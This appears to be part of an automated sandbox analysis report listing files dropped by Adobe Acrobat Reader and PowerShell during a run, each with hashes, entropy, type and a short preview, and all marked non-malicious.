Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.262686875989238
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJf+dPeUkwRe9:YvXKX5rFf0YUTbdznG28Ukee9
MD5:	3403680F893B3DB92ED19BD251C9E394
SHA1:	06D65C87435414231046B90290FC7EBCA995EF8F
SHA-256:	BE6AC0E7F2C66A9A10234DF02557F0F7369E42EE7424F0B2BAB8DC4F2C87FFD5
SHA-512:	F7D9358C6A68FDF0AA52016342661218B47CFF79B40CAA719678DFD026B3134E1D2A15941D30F61D5C3F8D39D05CEACCFB7C8B6F1ACC909ED4EE55BDDB63EB5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.260745609355127
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJfbPtdPeUkwRe9:YvXKX5rFf0YUTbdznGDV8Ukee9
MD5:	BE11081C6489E44A16AEF30B3CBC75C2
SHA1:	154D2BC2DB91E066D1631CD1867AF95AB6798F44
SHA-256:	5781877AFA0ED7BB37D514F17E341498DF69FF6386F1C6F200D5CD658F9C7A44
SHA-512:	96F2E95E909B3817D9163E0CCF948AD78C91231AB608090113EF3BEFD489CAC46E1A7B876336E5896B9BFCCCBB6D6831194536A725F5E5196C2FC493CA6291CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.263809138890742
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJf21rPeUkwRe9:YvXKX5rFf0YUTbdznG+16Ukee9
MD5:	0DC9638E99248BBBF9124D908D81DD36
SHA1:	F30773D917E9A1552512FDE8FFEF2726B9ACF890
SHA-256:	3F715B16E289C1A017753B3FA9C2FB4E06F1D3076848EC48D180BCFE9702B1E4
SHA-512:	494093BE705C47FD843CF4806378D918E1E554BB3DBD6C7919521ACFF4E76B5E70A16BF058C6F768C0C504CF5CAFD2722AA163F82BD50CB0127E63BD867C9EB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660159209303567
Encrypted:	false
SSDEEP:	24:Yv6X5rFf0YUX1YamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSg:Yv5Yw1eBgkDMUJUAh8cvMg
MD5:	64A11F55BD3441EA8D6F86182326DA88
SHA1:	5F181693C53F83749B9F7F27EF23710D66325BAE
SHA-256:	F81C8D73CD5918ED3B77ABBAEC00FD0C4CA48A5E207D45AF4316BA6F05AD3BE6
SHA-512:	583E44C3FAEF3EAA834838DFA71809F7D15766B509298056D203E4CEE959F62178D234C1B29BEFC0FA08F566713524A81C761A701566EEB3D89F31484EF1B521
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.24135859395233
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJfshHHrPeUkwRe9:YvXKX5rFf0YUTbdznGUUUkee9
MD5:	57272A1F94D4CA05DAB90F8B70B12C04
SHA1:	B1C5D223A4065BCEA0AE6527A7FB01CF8AC2313F
SHA-256:	0FFBA076208CAF84851472F972F82FE38687DD740937CA56AA186029C6564FD5
SHA-512:	E817597ACBE485DB46E611C79F7AF204FA57FD39B783BCBFD3D384996AFC252F094F4E12FA0BA690935BEEC2112C8C7BCFDC003F2330321AD98712E3D2E9973E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.245003629275662
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIirE0d1ZwzYUXjb24kF0Yl2UoAvJTqgFCrPeUkwRe9:YvXKX5rFf0YUTbdznGTq16Ukee9
MD5:	519922CE1359796ED3C74C09514DB942
SHA1:	A97B8489C52AB20F12E7492C7E86F5A8EE1E0B99
SHA-256:	CB36E207D9CB4C31B5DDDF8B364A11E714597DAE615556C03BE7C7C3D1040389
SHA-512:	8BD0C7AEBA06BDBAD71245D99FC9A09EB3DA5C10D8F0F67E81C599ADDBFBFFC78BFBB2D0E4871E78179E6EFE3BD291038186A716FDA59FB7C565EE8C4FC116FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"04396955-e724-4053-a475-7cc2815a3060","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736741062793,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135179481261252
Encrypted:	false
SSDEEP:	24:Yt9ftaTrSayXIsJstnhbXnAGdf4ijPEj0SmGra1/a2o42LSYCkHCH1ctCXzjXl57:Yt90rEIsKn9QCP+BeQ4eViH1ct+zxq9Y
MD5:	1875BC4FCFB63BBF89AB25D23ADF98C9
SHA1:	AE7533BB96559615CF406C514C563292CBD71355
SHA-256:	B515E29E982C5FC3E35E5E9C994EC5F2854B454F3F86E22B563D40111E3B71BB
SHA-512:	7ADAF7AD958FC8E7A6CC438AA1593BA03C60B1959D66BAA80C6536575C73F19EA634C21AD1218C80F4CB2AD79383C54CFE7DBF75A613C2A97410B01A42DF35E9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9ed1789bc12de474619e87dca6dc42b7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736561812000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a1d7f204638cc8764162b51d66f7710f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736561812000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6e1d07cc09c0251249bf35f1dae76905","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736561812000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f136a762e40c77a9ba853ab7bd1a2621","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736561812000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1b75aa1e6147e8fc2fa327dbd3950200","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736561812000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"acf2e6c2620039aa7d735ea5bda5d9bf","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3209694256429592
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YW4+EXSqXlM:TGufl2GL7msUKB0M0+Tb608YWdrOk
MD5:	0FA1D6EDAF5097B3CFF88DC971E16B45
SHA1:	D7975FA18A280E0590BDD6F721D433CD84357A71
SHA-256:	6386FA3B7DE1F9E48C380F160DE4F854D1127F25FE7AB127FBED60BA1E489069
SHA-512:	C985B5DF947CB9EF99A4F0F21B18C735622C3E8CF79795A76925E5A74790CEDFDAF7984E3ECAC062F707CAF7FCCE455DB86CDFE6DF642F97D8E5DA7A34883641
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7819364025244937
Encrypted:	false
SSDEEP:	24:7+tUl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YW4/EXSqXlyGKaisfqLhx/XYKQH:7MaKB0M0+Tb608YWQrGKwfqFl2GL7msA
MD5:	4FE9D49656DF25493B8B19E1ACC30C05
SHA1:	2D7CE2F2331FDE53508837FF62D398A796041E45
SHA-256:	B7400FBB73CFF66A2E3FAA857B77DF9CABF67A627A0B8BD8F52DBCC9EB6D0D7D
SHA-512:	291B6AAC7D814EF4B40F05B94234EB529BE2D46C30FF1456711DB27115D1A9C71D3A94DC2F638C3903EE8A9DEB1AADDE61B401187D41C6353C689656DAB8F6DB
Malicious:	false
Preview:	.... .c.......F:..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgXJsq9KHSo49oLu/aZhqgo4e5udzMYyu:6a6TZ44ADEXJsWoLSarHoXudgK
MD5:	0F1F4A47A2E121DDFFBE9CFFB35DB055
SHA1:	FA96B953C2C0C76EBC0289C3D53F453E5F447762
SHA-256:	66048E1071F767A3FE80357A1982FE33877B91DDD4ADC39E7BB2611332364349
SHA-512:	13FA6B22BFEF9A1BD00FEED613C0668F5E1729DEA74E0100DE22D3BED31A0ECE609222E46D1FD21FBF2A4EC7F71350AC9C3F3ACB5E2BCF79160D8834BF7D262F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI3cca5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCls4HYH:Qw946cPbiOxDlbYnuRK+biHYH
MD5:	56EAFF5016971CD55337887C03DF1498
SHA1:	52857A3D67193119CE0A5568A497631B723D23BF
SHA-256:	CC7D1E6A9D88285B1F92D39622B542130EB7E931F497C7883B9CD8AE76C5B0B9
SHA-512:	576FA26B89833E6B5F32AB970641C370ED38FA3AE05CD0D3B834D0151BD240723714B88F207B11FFCE124E3702123C43D55549F92735F351D7217B4FFE6DF0A5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.1.6.:.5.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q2makk5k.gh0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w3p2g3bm.lcw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-16-44-492.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3141376982663004
Encrypted:	false
SSDEEP:	384:RHTabXW2jLIohz4OWJ3gdzRvf8rOr1dNBeoScETJZLoKcW3pLGQxLiLG/Pl1cvfC:GJs
MD5:	14BC01A582F9ACC9948BE3B30DD598CF
SHA1:	C14AFE2BA230D56506B252ACA7FD592B84633F52
SHA-256:	482840BACA1F6867E1E0665586179BB94E357B5877D3D9F05349C16E5E04D959
SHA-512:	F812113196E2BD87DF2F096CD15FF934849D8B60E2AE077E5CCAE471A9FB06DBA252B80A65146A480E0EA30DA031486CCC4618EA88BC57F0FCB07E76EC58365A
Malicious:	false
Preview:	SessionID=b827e606-1e15-4b24-870b-61c02546acd7.1736561804506 Timestamp=2025-01-10T21:16:44:506-0500 ThreadID=2832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b827e606-1e15-4b24-870b-61c02546acd7.1736561804506 Timestamp=2025-01-10T21:16:44:508-0500 ThreadID=2832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b827e606-1e15-4b24-870b-61c02546acd7.1736561804506 Timestamp=2025-01-10T21:16:44:508-0500 ThreadID=2832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b827e606-1e15-4b24-870b-61c02546acd7.1736561804506 Timestamp=2025-01-10T21:16:44:508-0500 ThreadID=2832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b827e606-1e15-4b24-870b-61c02546acd7.1736561804506 Timestamp=2025-01-10T21:16:44:508-0500 ThreadID=2832 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.41155584506992
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmw:EGvIcNYdiFrI+Eoow9zGf
MD5:	B6050FCC03EA3D7BCB43C07E8E495277
SHA1:	E3CB06494804566A6C7823A6AF5E3A78D5C44A61
SHA-256:	D4C2EA60AB577DA56A823B5651FBB544A951236F7ACB55A00129611E648F330B
SHA-512:	3AD356118D25E3C551486618CD4D589DCFBC328C017FD208917AC715C5E6B9E8703F73C8CA3B8474117FAE79F7A74A8E549BE1BC5FC02863F12A241F6E1EE145
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\44901b40-1801-4e06-bd96-add3824c1c06.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\62783113-8901-43b3-8d40-5d6f5dad6be0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/pwYIGNPQ9WL07oXGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:xwZG29WLxXGZn3mlind9i4ufFXpAXkru
MD5:	17A4D09E4373155D739D65D37FDD108E
SHA1:	88ABEDA0447CCB031DD1D459657336A3FC50E486
SHA-256:	36FC00DA4B14D66BF783B992AC62C7590237C315B55D28A07A1B2E8678F918E3
SHA-512:	B95D3AB00F85EE3C41F813755485CF6B5C7A57F3DE9ACEF2DD2B0BDB3644580D36B43E5F44F5D9120FAD2AE128E7D69EFF2A9C58690B7162C20C497A24C88498
Malicious:	false
